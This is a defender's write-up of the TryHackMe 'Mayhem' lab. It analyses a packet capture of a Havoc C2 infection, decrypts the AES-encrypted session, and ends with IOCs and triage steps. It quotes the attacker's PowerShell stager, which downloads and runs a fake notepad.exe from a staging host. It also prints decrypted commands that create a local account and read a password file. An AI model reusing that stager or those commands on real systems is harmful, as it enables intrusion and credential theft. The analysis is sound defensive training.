TryHackMe Mayhem: Reading a Havoc C2 Session from a PCAP

TryHackMe Mayhem: Reading a Havoc C2 Session from a PCAP

One packet capture, one fake notepad.exe, and an encrypted C2 channel that hands over its own key. Working through how an analyst gets from “weird traffic” to “this is Havoc, and I can decrypt it.”

The attacker encrypted everything. They just sent the key along with it.

Mayhem gives you a single file, traffic.pcapng, and asks what the attacker did. The decryption is the fun part, but the bit I actually wanted to understand was the step before it: how do you look at a capture and know there’s a key in it worth finding? I’m still building my SOC triage instincts, so this writeup is mostly me working through the reasoning, one question at a time.

Step 1: Who is talking to whom?

Before reading a single packet, I opened Statistics → Conversations to see the shape of the capture:

TCP conversations

Nearly everything is one host, 10.0.2.38, talking to one other host, 10.0.2.37, on two ports: 1337 and 80. The two external connections are tiny, four frames each, to a CDN and a certificate server. That’s ordinary Windows background noise, so I ruled them out. That leaves a victim (.38) and a suspect (.37).

Step 2: What started it?

Packet list in time order

Reading the capture in time order, the first eight frames are just those two background connections closing. Then at frame 9, .38 opens a connection to .37 on port 1337, and the very first request is for install.ps1. Following the HTTP stream shows the whole exchange:

Following the install.ps1 HTTP stream

The request’s user agent is WindowsPowerShell/5.1, and the response comes back from Server: SimpleHTTP/0.6 Python/3.11.6. That’s three red flags at once. Nobody browses the web with PowerShell. Real software doesn’t come from a one-line Python web server. And 1337 is a classic “hacker” port, not one I’d expect legitimate traffic on.

Cleaned up onto separate lines, the script is:

$aysXS8Hlhf = "http://10.0.2.37:1337/notepad.exe";
$LA4rJgSPpx = "C:\Users\paco\Downloads\notepad.exe";
Invoke-WebRequest -Uri $aysXS8Hlhf -OutFile $LA4rJgSPpx;
$65lmAtnzW8 = New-Object System.Net.WebClient;
$65lmAtnzW8.DownloadFile($aysXS8Hlhf, $LA4rJgSPpx);
Start-Process -Filepath $LA4rJgSPpx

The random variable names are a cheap attempt to dodge signatures. The script downloads notepad.exe into paco’s Downloads folder twice, once with Invoke-WebRequest and again with WebClient as a backup, then runs it. You can see both downloads in the capture: two 95,744 byte application/x-msdos-program responses.

The real Notepad lives in C:\Windows\System32. A notepad.exe pulled from a Python server into Downloads is a binary wearing a trusted name (Masquerading, T1036.005). Now I have a suspect process, and whatever this host does next on the network is probably that process talking.

Step 3: What does that process do?

Filtering on http makes the next part obvious:

HTTP filter showing the POST beacon

The moment notepad.exe runs, the victim starts doing this:

22:21:35.49  POST /  10.0.2.37:80  Chrome/96.0.4664.110 (Windows NT 6.1; WOW64)
22:21:37.20  POST /  10.0.2.37:80  Chrome/96.0.4664.110 (Windows NT 6.1; WOW64)
22:21:38.95  POST /  10.0.2.37:80  Chrome/96.0.4664.110 (Windows NT 6.1; WOW64)
22:21:40.83  POST /  ...

Two things stand out:

  • The timing is machine-regular. A POST every ~2 seconds, for three minutes. People are irregular and implants aren’t. 2 seconds also happens to be Havoc’s default sleep time.
  • The user agent contradicts itself. Seconds earlier, the PowerShell request said this machine was Windows NT 10.0, build 17763 (Server 2019 / Windows 10 1809). Now it claims to be Chrome on Windows 7 (NT 6.1). One machine can’t be two operating systems, so one of those user agents is fake, and it’s not the PowerShell one.

The sizes tell a story too. In the packet list, most polls are 74-byte frames and most replies 182, but frame 239 is a 5,835 byte POST. (Those are whole-frame sizes, headers included. The bodies inside are smaller, which comes up later.) A beacon that suddenly sends a lot of data is sending back command output, which means the attacker is actively doing something on the box.

So this is a C2 beacon. The next question is whose.

Step 4: Which malware is it?

I already have the strongest lead: the binary itself. The server sent notepad.exe as a plain, uncompressed HTTP response, so the response body is the file, byte for byte. File → Export Objects → HTTP rebuilds it from the packets:

Export HTTP objects

Before trusting the export, I checked it was complete. It should be exactly 95,744 bytes to match the Content-Length header, and if any packets were missing, it wouldn’t be. Then I hashed it:

SHA256: 99784f28e4e95f044d97e402bbf58f369c7c37f49dc5bf48e6b2e706181db3b7

Then I searched that hash on VirusTotal:

VirusTotal result for notepad.exe

59 of 72 vendors flag it. The popular threat label is trojan.havoc/havokiz, and the family labels are havoc, havokiz and marte. The reported size, 93.50 KB, is exactly 95,744 bytes, another sign the export was complete. And the tags fit what I’d already seen: a 64-bit Windows executable that checks the machine’s network adapters.

One detail matters here: I searched the hash, not uploaded the file. Anything uploaded to VirusTotal can be downloaded by other researchers, and attackers watch it to see whether their tools have been spotted. A hash search gives the same answer for a known sample without telling anyone.

The labels point to Havoc, an open-source C2 framework whose implant is called a Demon. Now I have a name, and because Havoc is open source, its protocol is documented.

I wanted to make sure I wasn’t just trusting VirusTotal blindly, so I checked it against the traffic. Havoc’s source defines a magic value, 0xDEADBEEF, at the start of every Demon packet (it’s in Defines.h). If this really is Havoc, that value should be in every POST body. Going back to the hex pane of frame 182 in the HTTP filter screenshot from Step 3: de ad be ef 0e 9f b7 d8 00 00 00 63. This was the part I had to slow down for. Lining several packets up shows the full pattern:

first POST : 00000113 deadbeef 0e9fb7d8 00000063 00000000 946cf2f6...  (279 bytes)
next POSTs : 00000010 deadbeef 0e9fb7d8 00000001 00000000             (20 bytes)
reply      : 0a000000 00000000 00000000                               (12 bytes)
  • Bytes 4–7 are deadbeef in every packet, which is exactly what Havoc’s magic value predicts.
  • Bytes 8–11 are 0e9fb7d8 in every packet. That’s the same for every packet from this host, so it’s the Demon’s agent ID.
  • Bytes 0–3 of the first packet are 0x113, which is 275, and the packet is 279 bytes. That’s a length field counting everything after itself. The 20-byte polls say 0x10 = 16.

Two independent sources now agree: the file’s reputation says Havoc, and the traffic matches Havoc’s documented format byte for byte. With the family confirmed, the protocol stops being unknown:

Demon -> teamserver (big-endian)
[ size 4 ][ magic 0xDEADBEEF 4 ][ agent id 4 ][ command id 4 ][ request id 4 ][ body ... ]

Teamserver -> Demon (little-endian), one or more jobs
[ command id 4 ][ request id 4 ][ length 4 ][ encrypted data ... ]

Command 0x63 (99) in the first packet is DEMON_INITIALIZE, the implant registering itself. The 20-byte packets after it are “any jobs for me?” polls, and the server’s 12-byte reply with command 0x0a (10) is “no job”. The traffic pattern suddenly makes sense.

Step 5: Can I decrypt it?

This is the question that tells you to go looking for a key. Knowing the family, I asked: how does the server learn the encryption key?

The Demon generates a random AES-256 key and IV when it starts. The teamserver can’t read anything until it has that key. On a plain HTTP listener there’s no TLS and no public-key exchange to protect it. So the key has to cross the wire, once, in the clear, and it has to happen before anything else is encrypted, in the very first packet.

That’s exactly what the first POST is. It’s the big one, and right after the 20-byte header sit 32 bytes of AES key and 16 bytes of IV, unencrypted. Everything after that, in both directions, is AES-256-CTR with that key.

Pulling them out in CyberChef is just slicing bytes: drop the 20-byte header, then take the next 32 bytes for the key:

Extracting the AES key in CyberChef

And the 16 bytes after that for the IV:

Extracting the IV in CyberChef

Step 6: Is it worth doing?

Decrypting takes real effort, so the way I’ve come to think about it is: only do it if the answer changes what happens next. Here it does. Without it, this is “infected server, reimage it”. With it, I can see whether the attacker stole anything, which decides whether this is a cleanup or a breach.

What the decrypted session shows

With the key and IV pulled from the init packet, I decrypted each task the teamserver sent and each result the Demon sent back, using CyberChef’s AES Decrypt in CTR mode. Each message has to be decrypted on its own after stripping its header (20 bytes for the Demon’s POSTs, 12 for the teamserver’s replies), because Havoc restarts the counter for every message.

My first attempts came out as garbage. It turned out I was copying the whole frame out of Wireshark, Ethernet, IP, TCP and HTTP headers included, instead of just the HTTP body. Selecting only the data field in the packet details and copying that as a hex stream fixed it. Once that worked, the room’s answers were all sitting in the decrypted output.

Who the attacker is running as. The first big result is the 5,781 byte body of frame 239, the oversized POST from Step 3. Decrypted, it’s the output of whoami /all:

Decrypted whoami /all output

The user is CLIENTSERVER\paco, SID S-1-5-21-…-1103. The S-1-5-21 prefix means a machine or domain account, and a relative ID (the last number) of 1103 means a normal account created after install. It’s not the built-in Administrator (500) and not SYSTEM. So the attacker is running as paco, the user who ran the script (Owner/User Discovery, T1033).

The group list underneath matters more. BUILTIN\Administrators is there, enabled. paco is a local administrator, so the attacker has admin rights on this server from the first command without needing to escalate at all.

Which machine this is. Another result is plain ipconfig output (System Network Configuration Discovery, T1016):

Decrypted ipconfig output

The IPv4 address is 10.0.2.38, which confirms this output came from the victim I picked out in Step 1. The room asks for the link-local IPv6 address exactly as shown, and the %6 on the end is the interface’s zone ID, which ipconfig prints as part of the address. That’s the part people tend to leave off.

A flag printed for us. The attacker printed a flag (THM{REDACTED}) to the console, and it came back through the C2 channel like any other command output.

Persistence. This one is a task, not a result, so it’s decrypted with the 12-byte header dropped and decoded as UTF-16LE:

Decrypted account creation task

The teamserver told the Demon to run C:\windows\system32\cmd.exe /c net user [REDACTED] [REDACTED] /add, creating a new local account with a name picked to blend in next to the built-in Administrator account (Create Account: Local Account, T1136.001). The username and password are right there in the command line, which is why it’s worth decrypting the tasks and not just the results. The result only says the command worked.

Creating a local account needs admin rights, which is exactly what the whoami /all output showed paco already had. That’s a finding on its own: a user account that can download and run a script also has full control of a server.

The important file. After listing a folder on paco’s Desktop and finding a single 555 byte CSV in it (File and Directory Discovery, T1083), the attacker had the Demon read it. Like the persistence step, the task gives away the full path:

Decrypted type task

cmd.exe /c type just prints a file to the console, and the next result from the Demon is the CSV’s contents (Data from Local System, T1005). Its header row says it all: username,password,email. It’s a list of client accounts with plaintext passwords, and the room’s flag (THM{REDACTED}) sits in one of the password fields. That’s the detail that matters most: if I can read the file’s contents in the C2 traffic, they left the machine. That’s Exfiltration Over C2 Channel (T1041), and it turns this from an infection into a data breach.

IOCs

  • C2 / staging server: 10.0.2.37 (port 1337 for staging, port 80 for C2)
  • Stager: http://10.0.2.37:1337/install.ps1, fetched with a WindowsPowerShell user agent
  • Payload: C:\Users\paco\Downloads\notepad.exe (95,744 bytes), a Havoc Demon
  • Payload SHA256: 99784f28e4e95f044d97e402bbf58f369c7c37f49dc5bf48e6b2e706181db3b7 (VirusTotal 59/72, trojan.havoc/havokiz)
  • C2 beacon: POST / every ~2 seconds, user agent Chrome/96.0.4664.110 on Windows NT 6.1; WOW64
  • Havoc magic 0xDEADBEEF at offset 4 of every Demon request, agent ID 0e9fb7d8
  • New local account created for persistence

Triage

If this were a real incident, this is what I’d do next, based on what I’ve learned so far. First, isolate the server, because the client file has already left. Then:

  1. Check the Security log for Event ID 4720 (account created) to confirm the persistence account, disable it, and look for it being added to any groups (4732).
  2. Pull the process tree (powershell.exe → notepad.exe) and command lines from Sysmon Event ID 1, and find out how the PowerShell one-liner got run in the first place.
  3. Search the proxy and firewall logs for any other host talking to 10.0.2.37, or beaconing every ~2 seconds anywhere.
  4. Treat the client CSV as disclosed: reset every account in it, since the passwords were stored in plaintext, and bring in whoever handles breach notification.
  5. Remove paco’s local admin rights. That’s the reason one compromised user account was enough to do all of this.

Wrapping up

The decryption gets the attention, but the real skill in Mayhem is the chain of questions before it. Who’s talking, what started it, what does it do, what is it, and only then, can I read it? Each answer points to the next question. The step that made it click for me was asking how the server gets the key. Once you ask that about any C2, you know whether there’s a key sitting in your capture.